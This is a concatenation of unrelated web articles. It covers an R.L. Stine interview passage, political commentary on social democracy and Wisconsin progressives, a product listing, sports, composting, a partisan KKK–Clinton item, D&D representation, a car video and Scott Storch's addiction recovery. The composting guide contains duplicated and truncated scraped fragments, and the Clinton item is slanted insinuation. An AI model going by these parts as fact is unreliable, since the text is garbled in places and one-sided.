the swamp, he finds it in chaos. There are strange animals that don’t belong there, and giant pythons, and everything is out of order. So he goes to see this character, an ancient character, named Oldfather, who controls the order of the swamp. And he finds that Oldfather has been kidnapped, and that chaos will spread all over the world until he brings Oldfather back. That’s what his mission will be.  Nrama: So now that you’ve taken the plunge into comic books, can we expect more comic book work for you in the future?  Stine: I don’t know. If people like it, if they enjoy it. I had a lot of fun doing it. It was like a whole new process for me.  You know, this is a big Goosebumps year for me. This is the 25th anniversary of Goosebumps. Can you believe that?  Nrama: That makes me feel old!  Stine: [laughs] How do you think I feel? 25 years of this stuff! So I’m doing a lot of Goosebumps stuff. I’m doing a new Goosebumps series, running around like a fool. But yeah, I would hope to do more comic books. It’s been fun.  Nrama: What do you want to say to readers of Man-Thing?  Stine: I hope they enjoy the new version of him. I made him sarcastic. He has a sense of humor, he comments on things more. I tried to come up with a really good story. I always care about twists and surprises, so I hope people enjoy that.
-by  On both sides of the Atlantic, the sirens of social democracy have sounded. In the United Kingdom, it has reappeared in the body of left-leaning politician Jeremy Corbyn’s challenge to the Labour Party leadership. In the United States, it has emerged as democratic socialist Bernie Sanders makes his appearance as a strong contender for the Democratic Party’s presidential candidate. In Canada, the New Democratic Party’s (NDP) Thomas Mulcair holds the lead in the federal elections due on October 19. It is likely that the NDP, which already swept the provincial elections in Alberta, could defeat the Conservatives. Buried languages against income inequality and social fragmentation can be heard once more in the mainstream press. These are traditions that had been cremated in the 1980s. In the rubble of the financial crisis, social democracy has begun to smoulder.  In the U.K., the emergence of Corbyn in the Labour Party leadership contest has set off alarms. Corbyn is an old-style socialist—uncomfortable in the boardroom and glad to be on the streets. He is not forged in the smithy of New Labour, the “third way” of Tony Blair. Indeed, Blair has frontally attacked Corbyn as a throwback to the 1980s. “Jeremy Corbyn doesn’t offer anything new,” Blair wrote. “Those of us who lived through the turmoil of the 80s know every line of this script.”  Corbyn’s script is written in large part by the social democratic tradition—government intervention to deliver public services, an end to muscular military intervention, and higher taxes on the wealthy. Little here sets Corbyn apart from Michael Foot and Tony Benn, both standard-bearers of social democracy in Labour’s past. Corbyn’s rise threatens the Third Way. He wants to recommit Labour to socialism, which is anathema to Blair.  In the U.S., Sanders has once more recovered long-forgotten lineages in the Democratic Party—one not seen on the political circuit since Jesse Jackson’s campaigns of 1984 and 1988 for the Democratic presidential nomination. Sanders has taken hold of the popular sentiment against what the Occupy Movement called the 1 per cent. He routinely uses that kind of imagery to talk about income inequality in the U.S. In a speech in Wisconsin, before over 10,000 people, Sanders said, “The issue of wealth and income inequality, to my mind, is the great moral issue of our time…. There is something profoundly wrong when today, the top one-tenth of 1 per cent own almost as much wealth as the bottom 90 per cent.”  Sanders’ strong push against income inequality has moved his rival for the Democratic ticket, Hillary Clinton, to make her own, less populist gestures. Hillary Clinton has pledged to increase spending for education and infrastructure as an antidote to income inequality. Sanders digs deep into the vault of social democracy—he wants to tax the rich, break up the banks, make college education free, raise the minimum wage and redo trade agreements that helped haemorrhage U.S. industry.  Mulcair’s NDP broke its links with Canadian socialism in the 1990s under the leadership of Audrey McLaughlin. While Audrey McLaughlin adopted the “Third Way” thinking of Tony Blair, she could not replicate his electoral successes. Under her leadership, the NDP shrank as Canada moved rightward. None of the capitulations of the NDP in that period worked to its benefit. The NDP, by validating many conservative principles, delivered the country to the Conservatives. In the midst of the election campaign of 2004, NDP leader Jack Layton swung his party leftward by force of will and in the slough of desperation.  A combination of trade union support and nativist populism allows the NDP to draw voters from a range of backgrounds. There is a great deal that links the prairie populism of the NDP with the New England populism of Sanders. Both are robust critics of Big Money, but neither is able to offer a significantly different path out of the present difficulties. Even if the NDP wins the elections, it will not be able to govern far to the left of the Conservatives. Mulcair’s pledge to increase spending for the police is an early indication of his party’s capitulation.  Neoliberal socialism  One of the problems shared by Corbyn, Sanders and Mulcair is that all three are social democrats in an adverse climate. Social democracy of the early 20th century relied upon the theories of John Maynard Keynes and the liberal socialist traditions of Eduard Bernstein and the Fabian Society. Capitalism, this tradition argued, had softened since its harsh beginnings. There was no possibility of breaking with capitalism—only of producing capitalism with a human face.  What the governments of this tradition were tasked to do was to intervene in the economy through planning and social welfare to ameliorate the unequal outcomes of capitalism. The German Social Democratic Party’s 1959 Godesberg Programme broke with the SPD’s heritage in Marxism. Its new goal was Freiheitlicher Sozialismus (liberal socialism). Three years  earlier, British Labour Party’s Anthony Crosland’s The Future of Socialism had argued that his party must fight to “equalise the distribution of rewards and privileges so as to diminish the degree of class stratification, the injustices of large inequalities and the collective discontents”. This was the limit of 20th century social democracy. Between 1945 and 1979, there was a broad consensus around this path. Conservative ideas had been largely discredited. In 1971, U.S. President Richard Nixon, a conservative, nonetheless said, “I am now a Keynesian in economics.”  By the late 1970s, the context of social democracy changed dramatically. The rich (and corporations) in North America and the U.K. went on a general strike against taxes. Revenue for social welfare schemes began to dry up.  New theories for balanced budget amendments stayed the hands of governments from being able to borrow for social expenditure.  With finance untethered from state control, governments had an impossible time raising funds. New technologies such as computers, satellites and container ships alongside lower fuel costs and less powerful governments in the Third World allowed firms to break up production across the world. No longer were commodities made in single factories.  This meant that governments lost the power of nationalisation. Faced with increased unemployment and decreased ability for social welfare payments, conservative and Third Way governments expanded security forces for overseas wars and domestic social control. The essence of social democracy withered.  Nothing in the programmes of Corbyn, the NDP and Sanders announces an acknowledgment of this new and adverse context. Their hands are tied by the immense political power accrued by the wealthy to drive policy agendas to their benefit. What Corbyn and Sanders have suggested is that their campaigns are neither about winning governmental power nor about being able to change the policy direction in the U.K. and the U.S. In Iowa, Sanders came out with plain truth: “No matter who is elected to be President,” he said, “that person will not be able to address the enormous problems facing the working families of our country.” Why is this so? “The power of corporate America, the power of Wall Street, the power of campaign donors is so great,” said Sanders, “that no President alone can stand up to them. That is the truth. It is not just about electing Bernie Sanders for President. It is about creating a grass-roots political movement in this country.” Much the same kind of sentiment has come from Corbyn, a movement man more than a government man.  Attracting the dispossessed  Corbyn, Sanders and Mulcair have attracted the dispossessed in much the same way as Syriza and Podemos drew from the excluded of southern Europe. One problem with Corbyn’s run in the Labour Party and Sanders’ run in the Democratic Party is that they are also drawing energy into political formations that are committed to the Third Way, to free-market liberalism. Corbyn’s anti-austerity agenda has drawn back voters in Scotland who had given their votes to the genuinely anti-austerity Scottish National Party.  Sanders is drawing voters from among the catchment area of the Green Party. There is little expectation that either campaign will be able to transform its own parties. On the other hand, the landscape in the U.S. and the U.K. is so bleak that people who are disaffected with the status quo have few other places to turn toward. Small left-wing groups have been unable to break out of their decades-long isolation, and issue-based mobilisation (against police brutality or for immigrant rights) has been unable to shape a mass political force.  In such a benighted political environment, it is hard to begrudge the return of these standards of social democracy. They recognize that their policy slates are anachronistic as long as the propertied have a monopoly over the political and cultural process.  This column originally appeared in Frontline (India).
-The black Audio-Technica ATH-M40X Monitor Headphones and C01U USB Microphone Kit from B&H features a pair of Audio-Technica professional stereo monitor headphones and a Samson CO1U Pro-Black USB studio condenser microphone. Accessories include two 9.8' headphone cables, a screw-on adapter, a desktop stand, a mic clip, a USB cable, and two carry pouches. This kit can be used to make high-quality audio recordings on Mac or Windows computers without the need of any additional gear or cabling.  The C01U USB condenser microphone is compatible with most DAW software programs and comes with Cakewalk's Sonar LE workstation software to get you started right away. It captures 16-bit audio up to a 48 kHz sampling rate, and delivers accurate, high-quality audio reproduction.  Furthermore, the ATH-M40x monitor headphones are designed for use in studio tracking and mixing as well as for DJ monitoring applications. The headphones have a detachable single-sided cable system, and both coiled and straight cables are included. When not in use, the ATH-M40x can be folded down and stored in the included carry pouch.
-It's a sore point for progressives that President Obama and the national Democratic Party turned a blind eye to Wisconsin during the massive protests against Governor Scott Walker in 2011, did not do much to help during the failed effort to recall the governor in 2012, and even now, during Walker's campaign for re-election, are biding their time waiting to see what the polls show before they get too involved.  Although Wisconsin went for Obama in 2008 and 2012, and elected Tammy Baldwin--one of the most progressive members of the U.S. Senate--that same year, Democrats and many liberal pundits began writing off Wisconsin even as the battle here reached historic proportions, galvanizing citizens and making news around the world. Wisconsin suffered through an egregious round of redistricting by the Republicans who control the state legislature, has a Supreme Court that has been captured by big money, and is led by a Governor with major support from the Koch Brothers and other rightwing billionaires. Strategically, from a national perspective, it is not a safe bet. All the more reason for citizens here to feel what it happening is particularly important.  The organized forces of the right have been busy dismantling the Wisconsin's progressive tradition, its public employee unions, its model environmental protections, its open-meetings laws, and funding for its great university system, technical colleges, and public schools. Citizens are fighting in scattershot, grassroots campaigns against all of these assaults.  If ordinary people are going to overcome the organized forces of greed, they are going to need to work together to develop a smart, winning strategy.  With that in mind, last year a group of progressive activists decided they needed help getting organized.  "We thought the perfect person to talk to would be George Lakoff," says Scott Wittkopf, chair of the Forward Institute, a public policy think tank. Lakoff, author of the best-selling books Don’t Think of an Elephant!; The Political Mind; and Whose Freedom? is the nation's leading expert on linguistic "framing" in politics and on how the left can recapture the rhetorical high ground, by speaking in the emotionally resonant language of values.  Wittkopf's group, along with a handful of other environmental, labor, and civil rights organizations, including the Wisconsin Grassroots Network, the Wisconsin Democracy Campaign, the Milwaukee Interfaith Coalition, teachers unions in Madison and Milwaukee, and United Wisconsin (the group that led the recall drive against Governor Walker) contacted Lakoff and began a series of trainings under his tutelage.  This weekend Lakoff, a distinguished professor of cognitive science and linguistics at the University of California at Berkeley, will deliver a series of public lectures, including a keynote address to the Wisconsin Grassroots Festival in Mazomanie on Saturday, March 22  Lakoff took a keen interest in the uprising against Scott Walker, writing about how the labor and recall fights should be framed on his blog.  "I’ve followed Wisconsin politics for many, many years, beginning in my teen years when a friend of my brother’s worked with Gaylord Nelson," Lakoff said in a phone interview from his home in California. "I was really inspired by the protest movement at the statehouse. I wrote a piece about it and apparently it was printed out and posted on the statehouse wall, which won my heart."  Governor Scott Walker and the Republican legislature in Wisconsin are deploying what Lakoff calls "the conservative communication system."  "I’ve been fighting that system for fifteen years," he says. "Most people don’t even know that it exists."  Democrats, meanwhile, have failed to set up an effective communications system of their own, Lakoff says.  "So when I was approached by Scott about what could be done in Wisconsin, I said here is what the Republicans have done, It is very smart. . . .When Republicans went to college and studied business, they took a course in marketing and found out how people really think."  Progressives need to learn from that, Lakoff says.  Working with the network of grassroots activists from around the state, Lakoff helped set up trainings in framing a progressive message.  "No matter what issue you're passionate about, his research gives us a foundation to unify everybody because it's about values--morals and values," says Wittkopf.  Pointing to all of the battles in Wisconsin, from education to voting rights to the expansion of lobbyist influence and campaign finance reform, Wittkopf says, "you have all these really core democratic issues at stake. As progressives we make this fatal mistake that each group does its own messaging . . . creating silos."  With Lakoff, the grassroots activists developed the "Wisconsin Progressive Freedom Campaign," to connect all of those issues. At two early meetings, Lakoff joined the activists on a in a video conference to talk about how they could unite around a progressive definition of freedom.  So far the activists have conducted four trainings in Western Wisconsin, the Fox Cities, Milwaukee, and Madison, building on this core notion of a definition of freedom that is not about the conservative idea of freedom, which Wittkopf describes as self-centered and serving the interests of business, but a more expansive notion of human freedom, that comes out of America's progressive roots--extending access to democracy for as many people as possible.  "We have had some little successes," says Wittkopf, who attributes "values-based messaging" to popular campaigns to pass school spending referenda in Appleton, despite a well-financed ad campaign by Americans for Prosperity, as well as organizing against sand mining and against school privatization at the state level.  Lakoff would like to see Wisconsin progressives raise enough money to set up a speakers bureau for ordinary citizens throughout the state, conduct more trainings, and solidify a single framing structure.  "You learn how to respond to conservatives, and not just to respond but to go on the offensive and get the message out in every possible way," he says. "That takes organization and will." "You never speak to conservatives using conservative language," he adds. "'The issue is jobs'—No. Freedom is an issue. Freedom from wage slavery is an example. To get that we need good paying union jobs, where you get paid fairly, and you are treated like a human being, where you get not “benefits” but health care that is part of your salary. That’s good for everybody—it’s good not to have employees that are sick, its good to have a population that is healthy . . . this is not rocket science. Everything I say is what you already know. My job is to tell you what you already know but are not saying." Wittkopf is energized by Lakoff's work in Wisconsin. "We have never had collaborative messaging before," he says. "That's where the conservatives are really beating us up." "Wisconsin is the laboratory" Wittkopf adds--for progressive politics starting a century ago, and for the rightwing takeover of civil society, which gained traction with Scott Walker's attack on public employee unions, voter I.D., the privatization of public schools, and the rest of the attacks on basic democratic freedoms. "That's why Lakoff took an interest in Wisconsin," says Wittkopf. "We are at the center of it." Plus, Wittkopf adds, "Any scientist will tell you that it is a life goal to see your work put into practice. Lakoff's work has not generally been put into practice by a lot of progressives or Democrats." That's another area where Wisconsin could lead the way, as a laboratory for resurgent progressive politics. —Ruth Conniff George Lakoff's public schedule for this weekend includes: Saturday, March 22 8:30-4:14 pm--Wisconsin Grassroots Festival at Mazomanie High School Sunday, March 23 2:30-4:30 pm--Lecture workshop at the Pyle Center 702 Langdon Street, Madison, Wisconsin Monday, March 24 7:00-9:00 pm--Lecture hosted by the Havens Center at the Memorial Union, University of Wisconsin-Madison Here is a complete schedule of George Lakoff's public events: George Lakoff Public Schedule in Madison Saturday, March 22 Wisconsin Grassroots Festival at Mazomanie High School (8:30–4:15) – Register at http://www.wisconsingrassroots.net/2014_festival - Professor Lakoff to lead two breakout sessions and give opening keynote remarks at the event. Grassroots dinner with George Lakoff at The Feed Mill restaurant in Mazomanie (5:30 – 6:00pm approximate start time) http://oldfeedmill.com/. **Reservations required through the Wisconsin Grassroots Network ($30/person, capacity is approximately 70) http://www.wisconsingrassroots.net/ Sunday, March 23 Lecture workshop, “Reframing and Reclaiming the Three ‘E’s – Economics, Education, Environment”: 2:30 – 4:30pm – Pyle Center, Vandenberg Auditorium (Rm. 121), 702 Langdon St., Madison WI (http://conferencing.uwex.edu/). Registration: http://forwardinstitutewi.org/george-lakoff-seminars-registration/ Intimate dinner reception/fundraiser with George Lakoff : 7:00pm at The Heritage Tavern, 131 E. Mifflin St, Madison and special guests WI State Reps Melissa Agard Sargent and Terese Berceau. http://www.heritagetavern.com/. $150 per person includes food and house red or white wine (cash bar available). Net proceeds used to pay Professor Lakoff’s travel expenses. Advance reservations and full payment required to secure a spot for this once-in-a-lifetime event. Reservation form at: http://forwardinstitutewi.org/george-lakoff-madison-dinner-reception-reservation-form/. Monday, March 24 Lecture workshop on organizing and communications based on framing the message. 9:30am – 11:30am - Pyle Center, Room 225, 702 Langdon St., Madison WI (http://conferencing.uwex.edu/). Session registration available at http://forwardinstitutewi.org/george-lakoff-seminars-registration/ “Neural Politics: Cognitive and Material Power” (7:00 – 9:00pm) – Lecture hosted by The Havens Center (http://www.havenscenter.org/) at the UW – Madison Memorial Union, see TITU for room number. George Lakoff’s visit is made possible by Forward Institute, Partner Organizations of the Wisconsin Progressive Freedom Campaign, and The Havens Center. Information Contact: Scott Wittkopf (608)628-8535 scott@forwardinstitutewi.org
-Friday night at the new yard was not just about Friday night, or just about the new yard.  From the Hamilton Tiger-Cat experience last year we already knew that Tim Hortons Field is going to make a difference, and when it temporarily becomes CIBC Hamilton Pan Am Stadium next week, it will make a difference, too.  Friday was a stepping stone — more like a segue, actually — to July's Pan Am Games, but also to a host of other things between now and 2030.  Why pick that far-off date, you might ask? Because that's the centennial of the first Commonwealth Games (nee British Empire Games) which were held in Hamilton on the very site that Friday night's game was played, but in a stadium facing the other direction.  And, yes, there is already talk in some Hamilton quarters that we should be bidding for those Games. Besides the historical symmetry, we have to get a pool and a track somewhere, and there's plenty of time to financially plan.  With the new joint sold out for Canada vs. England Friday night, and the old joint downtown setting North American attendance records last month for synchronized skating, this city has its sports-host groove back.  Back in the late 1980s and for all of the '90s, Hamilton was the go-to place for almost all of the major national and international sports events — Canada Cup, Memorial Cup, Leafs and Sabres exhibition games, Figure Skating's Grand Prix, three national figure skating championships et al. — and that was without the Tiger-Cats being anywhere close to what they are today.  And what they are today is not just a sports franchise but a very successful business franchise, with many arms looking for more places to reach into.  They'll have a soccer team soon, and therefore will get as well-versed in the business of that football as they are of their own brand of football. If the city is looking to become an international player again, and we are, the Ticats will always be involved.  The Cats, with their last two crazy years and undefeated record on the coffee grounds, have created a feeling about the east-end stadium that was continued by Canada's favourite soccer team Friday night. The place was sold out, and we're guessing that fewer than half the tickets went to people who live here and in Burlington.
-Composting can seem daunting to a newbie. That’s why we’ve created this comprehensive, yet simple guide to composting for beginners.  What exactly is composting?  In simple terms, composting is a process that results in having nutrient-rich humus to apply to soils wherever you like. This nutrient-rich mix restores vitality and fuels vigorous growth in plants when applied. You think of compost in terms of a conditioner for soils. It provides nutrients for the lawn or garden and also helps the soil to retain more moisture.  Composting also introduces beneficial microscopic organisms to the soil. This process of breaking down the organic material helps to aerate the soil. Compost is an environmentally friendly alternative to using toxic chemical fertilizers. Importantly composting at home also frees up larger municipal landfills. According to the U.S. Department of Agriculture (U.S.D.A), composting can put more than 30% of household waste to good use.  How To Start Composting  Before you start composting, you have to know what materials to compost and what not to compost. Generally, materials that make good composite are rich in nitrogen and carbon. They include:  Eggshells  Table scraps  Leaves  Fruit and vegetable scraps  Grass clippings  Garden plants  Flower cuttings  Seaweed and kelp  Wood ash  Chicken manure  Dryer lint  Cardboard  Shredded paper  You also use your existing garden soil because the microorganisms contained help to accelerate the entire process. Materials to avoid throwing into the compost pit include diseased plants ( you may encourage the disease), perennial weeds ( the seeds will propagate), meat, bones and fish scraps( make the compost very smelly). Others include black walnut leaves ( contain toxins), all citrus rinds, peach peels, and banana peels.  Make sure to reduce larger pieces of the compost pit material to fast track the composting process, it’s even quite good to have a few scattered around.  Composting Process  The process of composting consists of seven simple steps. These are:  Start by laying the compost pile on bare earth. This is critical if worms and other helpful organism are to aerate the pile.  This is critical if worms and other helpful organism are to aerate the pile. Lay straw or twigs first. The layer should be no more than a few inches thick. This helps in compost pile aeration and drainage.  The layer should be no more than a few inches thick. This helps in compost pile aeration and drainage. Add the material in small layers making sure to alternate between dry (leaves, wood ash, and straw) and moist layers (seaweed, food scraps and tea bags).  making sure to alternate between dry (leaves, wood ash, and straw) and moist layers (seaweed, food scraps and tea bags). Add some chicken manure or any other livestock manure . This is rich in nitrogen and helps speed the composting process.  or any other . This is rich in nitrogen and helps speed the composting process. Water the compost regularly to keep it moist.  to keep it moist. Cover with carpet scraps , plastic sheeting or wood. This helps retain heat and moisture- two essentials of composting. This also keeps excess rainwater out.  , plastic sheeting or wood. This helps retain heat and moisture- two essentials of composting. This also keeps excess rainwater out. Turn the pile every few weeks using a shovel or pitchfork. This helps in aeration. In order for the process to be effective, there has to be a steady supply of oxygen.  Worm Composting Bin  Worm composting makes use of worms to recycle organic materials such as food scraps into worm compost or vermicompost, which is a helpful soil amendment.  Basically, worms consume nutrient-rich vegetable scraps and fruit and convert it into nutrient-rich compost. The best materials for worm composting are vegetable scraps and raw fruit, not citrus. A worm bin is easy to set up. All you need is a box (glass, wooden or plastic), worms (red wrigglers or red worms) and newspaper strips.  Compost making is ideal for making nutrient-rich humus, for garden or lawn use. With good maintenance a compost pile can be ready in a few months to spread across your garden as fertilizer.  You might also be interested in…
-Hillary Clinton can add a new name to her list of endorsements – a prominent Ku Klux Klan member who says he likes her because of her “hidden agenda.”  Will Quigg, a grand dragon of the Ku Klux Klan’s California chapter, told the Telegraph Monday that he would be switching his support from Donald Trump to Clinton.  Quigg had endorsed Trump on Twitter in September:  Now, though, he says he’s changing his tune.  “We want Hillary Clinton to win,” he said. “She is telling everybody one thing, but she has a hidden agenda. She’s telling everybody what they want to hear so she can get elected, because she’s Bill Clinton’s wife, she’s close to the Bushes. Once she’s in the presidency, she’s going to come out and her true colors are going to show. Border policies are going to be put in place. Our second amendment rights that she’s saying she’s against now, she’s not against. She’s just our choice for the presidency.”  Archive.  Let’s not forget this one either. Hillary Clinton with former Senator Robert Byrd of West Virginia, a former Ku Klux Klan member.
-Recently, Wizards of the Coast (WOTC) released an article explaining that they’re going to make more conscious efforts to add more LGBTQ characters to their written adventures. The effort is being pioneered by actual gay employees (it’s crazy that this even needs to be mentioned) who are making sure that the content is realistic and tasteful. Upon release, the article riled up the usual suspects: those who see no issue with the change and those who think that expanding representation into their fictional landscape is a horrible idea.  The battle being waged is an important one, and of course it was contention that WOTC expected. They’re firmly planting their feet on one side of an issue, as they have in the past with similar topics. The D&D Players Handbook sprinkles in some support to the historically disenfranchised by mentioning gender fluidity at one point and by portraying the “Human” racial choice with a fully clothed black woman. They clearly have good intentions. But honestly, much like most straight white culture businesses, WOTC misses the mark by a mile.  Dungeons and Dragons is set in a world of fantasy based in and around the world of Lord of the Rings. A classic title in the world of western fantasy that is also heavily rooted in sexism and racism. Although D&D has changed small features throughout the years to change or eliminate those aspects, the core of those principles are set in the European fantasy setting.  “So this game has knights and castles and dragons and elves in it, like King Arthur or something?”  “Yeah like that, but with more gay people.”  The method taken results in underrepresented groups seeming like an afterthought, instead of a core value of the world itself. Although it’s a move of good faith by WOTC, it feels the same way J.K. Rowling makes us feel when she “peppers in” new liberal-friendly facts about characters she wrote 15 years ago.  “Dumbledore was gay y’all! There’s nothing in the story making that an open fact, so it didn’t matter until I said it, but he’s super gay! Support my work forever! Maybe one day I’ll retroactively fix Cho Chang!”  Speaking of, the same issue exists with race. A group of white kids can gather around the table, see that the staple human used in the PHB is a black woman and tote her around for a few games, but it helps nothing. It’s a pat on the back for the player, but it doesn’t actually do any justice for the people you’re trying to market to. It’s a “hey look, we know black women exist,” head nod. Meanwhile:  Tieflings feel like a poor attempt at WOTC giving players a chance to feel like a disenfranchised PoC.  “To be greeted with stares and whispers, to suffer violence and insult on the street, to see mistrust and fear in every eye: this is the lot of the tiefling. And to twist the knife, tieflings know that this is because a pact struck generations ago infused the essence of Asmodeus—overlord of the Nine Hells—into their bloodline. Their appearance and their nature are not their fault but the result of an ancient sin, for which they and their children and their children’s children will always beheld accountable.”  Choose this, and be judged by society for the history of your lineage and physical appearance!  It would take a very skilled DM to make that choice something informative, accurate, and fun for the party at large, without pandering to some liberal white savior fantasies. I would pay good money to watch someone pull that off. But I digress.  Wizards of the Coast make some of the coolest bits of fantasy I have ever seen. And watching people play the game and use the tools given to them in such creative bursts of genius… it’s one of my favorite things in the world. I’ve written before about how tabletop RPGs have this unique power to bring people together, and to deal with real life issues through the depth of real conversation and conflict. But I hear diversity and see very little.  I go from Twitch channel to Twitch channel to watch games run by WOTC staff, Geek and Sundry, and many others, only to find a group of white folks playing out a white culture fantasy. I check out the pictures of production staff, writers, conventions, and gatherings, and I see the same thing. The lists of guest stars on these shows are fairly expansive, but follow the same trend.  They make some of my favorite content, ever. But as I wander through the D&D community, both in person and online, I see PoC waiting in the wings. We nod to each other and maybe geek out together for a while, but many have the same feeling:  This wasn’t made for us, and although we are free to join in, why does it also feel not-so-welcoming? If there aren’t already people like me there, there must be a reason.  The D&D community is playing out a living fantasy. One where white men (and thankfully women) can have games, a few incredible shows, and tons of convention space to be themselves. And a great deal of them are totally okay with any other type of person coming in and joining their adventure. It’s a welcome space, where they feel that anyone can feel comfortable and accepted.  But Matthew Colville once said, as advice to DMs out there, “Think about your campaign setting. What does it say to players who aren’t like you. Your fantasy is in there. Is theirs?”  Editor-In-Chief  David “DC” Collins  @bukowskionice  Advertisements
-Lamborghini Gallardo Superleggera chases a Porsche 911 GT3 through Paris – Click above to watch video after the jump  Before we go salivating all over the thought of two of Europe's best and brightest going the distance through the City of Lights, we should probably start off with an obligatory "don't try this at home." The kids you see sliding around the Parisian streets in the video after the jump are trained professionals working in a semi-controlled environment, so do us all a favor and keep your reenactments confined to your Need For Speed marathons.That said, the video is a well-shot interpretation of what a full lap of Paris might look like as a Porsche 911 GT3 and a Lamborghini Gallardo Superleggera go fender-to-fender. Our early money was on the Raging Bull strolling away with the checkered flag, but Stuttgart's finest seemed to have no problem keeping the big bad Italian behind its winged tail-end as the two snake around the French capitol. Hit the jump to see the action for yourself.[Source: YouTube
-MIAMI — It almost seems impossible, but it's tragically true. [artist id="1330195"]Scott Storch[/artist] squandered $30 million. Not only that, he did it in less than six months.  "[It was] unlike anything I've ever seen in my entire life," the producer's manager, Derek Jackson, told MTV News of his friend of almost two decade's monumental fall. "Historical! It was historical without question."  Storch's decline started in 2006, which was arguably his most successful year creatively and definitely his most fruitful year financially. He was one of the top producers in the business, having worked on hits by Beyoncé, 50 Cent, the Game, T.I., Chris Brown, Christina Aguilera, Dr. Dre, Nas, Snoop Dogg, Pink and many others. He had a long way to fall.  "Honestly, about three years ago, he got really shady," said Jackson, sitting just a few feet away from Storch at Miami's Hit Factory studios. "And that's the best term I could use. He went from what his normal vices were to suddenly becoming a person who was infatuated with the drug, and I saw it constantly."  Storch's drug was cocaine. The abuse of the narcotic almost cost him his career — and his life. Earlier this year, he was arrested for grand theft auto  for allegedly failing to return a Bentley he'd leased in 2006. And last year, Storch hit legal trouble after reportedly falling behind on both his child-support payments and his property taxes.  "A lot of the work that we would do and how much we would do of it, that started to scale back. I have to say the magic month was August of 2006," Jackson continued. "I will never forget it. It will be something that will stay with me for the rest of my life. You know, '06 for us was the magic year; we hit Lotto. Everything worked. I mean, there was nothing that we did that did not work. I gotta honestly say, outside of my kids, it was the greatest year of my life. It was so many [hit records] I can't even tell you. That was the year he won [ASCAP's] Songwriter of the Year [award]. We broke records — lots of [chart] records we broke and he did them quick. It was just a wonderful year, but I think it was defined by that magic month of August. He ran into the Hollywood class — and when he went to Hollywood, all things changed."  Most notably, Storch went on vacation.  "It was the first time he took off in, I would say, the duration of his career. I've been with him since he was 17 years old. I found Scott [playing keyboards with] the Roots in 1992, so for the duration of that, he's always been a worker bee, that's just his spirit. But in August of 06', we took a month off. It was over. Never came back."  Literally. Storch got addicted to drugs and just stopped caring about his career.  "Scott, I have to be real because, once again, it's about a story that has to be told," Jackson said. "We made a lot of money — I mean a lot of money that year [2006]. And Scott — in all honesty — he was broke by January. It was the quickest [loss] of money that I've ever seen in my entire life."  "The cost of the drug didn't effect my life," Storch weighed in. "It was the poor decisions I made, that were so poor financially, that caused me to go into this situation where I was forced to change my lifestyle ... forced to change a lot of things.  "[I had] 15 to 20 cars at all times," he continued." That's not smart. I would take one of 15 half-million-dollar cars I owned and go to the mall and spend that much money. Stupid, stupid stuff. It's like it didn't make a difference. They were ego investments. I would have been great with three or four cars! I didn't need a 117-foot boat."  "Cars!," Jackson explained of how Storch lost his fortune so quickly. "Private jets are expensive — please leave them alone if you can't afford them. Trips to the Riviera on a private jet is $250,000 one way. I'm talking about, it was a routine [with Scott]. Spending on others — if you can't take care of yourself, how you gonna take care of everybody else? And it got out of control."  Storch weighed in, "I watched my own father, he went bankrupt and had problems with the IRS. He was living beyond his means, and I guess I was doing the same thing and not even realizing it."  As much as he was making, Storch was spending double on drugs and overly luxurious living. He was out of control, and Jackson takes some of the blame for not intervening sooner.  "I was an enabler, I was an enabler," Jackson admits. "And it wasn't until I got a phone call — rest in peace [former Def Jam Records President Shakir Stewart, who died of an apparent suicide last year]. My man, one of my closest and dearest friends in the music business, said, 'D, what are you doing? Scott has Janet Jackson sitting in his studio and it's going on five hours. Where is he at? What are you doing, D? What are you doing?' And I knew the routine started to become like that. We did it to a lot of people in '07. It's when it all went bad. We had people sit in the studio for upwards of 10 hours at a time. And I would never be real to [Scotty]. I guess I got to a point where I stopped caring. We made money, I watched him blow it, I didn't care anymore. But then I watched that phone call come from Shakir."  Eventually Jackson would exhaust himself trying to get his friend to clean up, so he resigned as Storch's manager. Scott still didn't get point: His addiction had tapped his inspiration to make music.  "It started affecting me where my own son would be like, 'Dad, what's up? When's the next hit record coming up?' " Storch recalled. "I didn't have a answer for him."  It wasn't until 18 months later that Storch and Jackson would see each other again. Storch had decided he needed help.  "[It was] probably in the worst state I've seen [anyone] in my life," Jackson said of Storch. "Somebody that you knew when they were young and full of zest and fire and excitable — the spirit that the kid had was incredible. But to come back to black eyes, bloodied and bowed and unlike the person you knew. To be quite frank, he was a junkie. He was a junkie. And it was unlike anything I had seen in him, ever. Ever."  Jackson checked Storch into a rehab facility called Recovery First. Thomas Trevino, a mental health tech and a three-quarter-way manager at Recovery First has been working with Storch for the past few months.  "I can clearly remember the first day he came in," Trevino recalled. "The guy just looked like many others clients we've got: emotionally, physically and spiritually broken. Throughout the time, he resided in our in-patient program and he eventually graduated into an out-patient program; he was then taken into our three-quarter way house.  "I have seen him change," Trevino continued. "I've seen his mind is totally opposite from day one. The guy couldn't even carry on a clear conversation when he first came in. And now I have been having the honor and privilege to come with him to the studio a couple times and check him out, see what he's doing. And it seems like he's back on track, man. He's a great inspiration for many out there who are trying to do this line of work — and at the same time he's a great inspiration for many drug addicts out there who want to stay clean and live this way of life."  "It's just that type of deal," Storch — who is still under treatment — said of his fall and his climb back to the top. "I've lived it, done it. I've been around a lot of greats I seen in this industry that have problems, but the comeback can be that much greater. It's a well of creativity in my mind right now; it's not being hindered and being in love with the music again — seeing the day and taking advantage of the opportunities I've been afforded."  Storch is back at work, and says he's better than ever. He's in the studio with the Game for three days, and next week goes to Orlando to work with Chris Brown. There's also a track in the works involving him, Quincy Jones and Jennifer Hudson, as well as Kat DeLuna's potential first single. Outside of music, he's been shooting a reality show and has guest appearances from the Kardashians.  "This is God's work," Jackson opined. "So he has to respect that. I just hope that the people out there that watch this take the time to understand that even in the lowest of moments — because it was low for me, it took a year out of my life, it destroyed my life because I was so in tune to him — to always remember you can come back, you can clean your life up. You can be the same again. It's never too late. Never too late — never! So hopefully from this, people will understand that there's always a tomorrow."
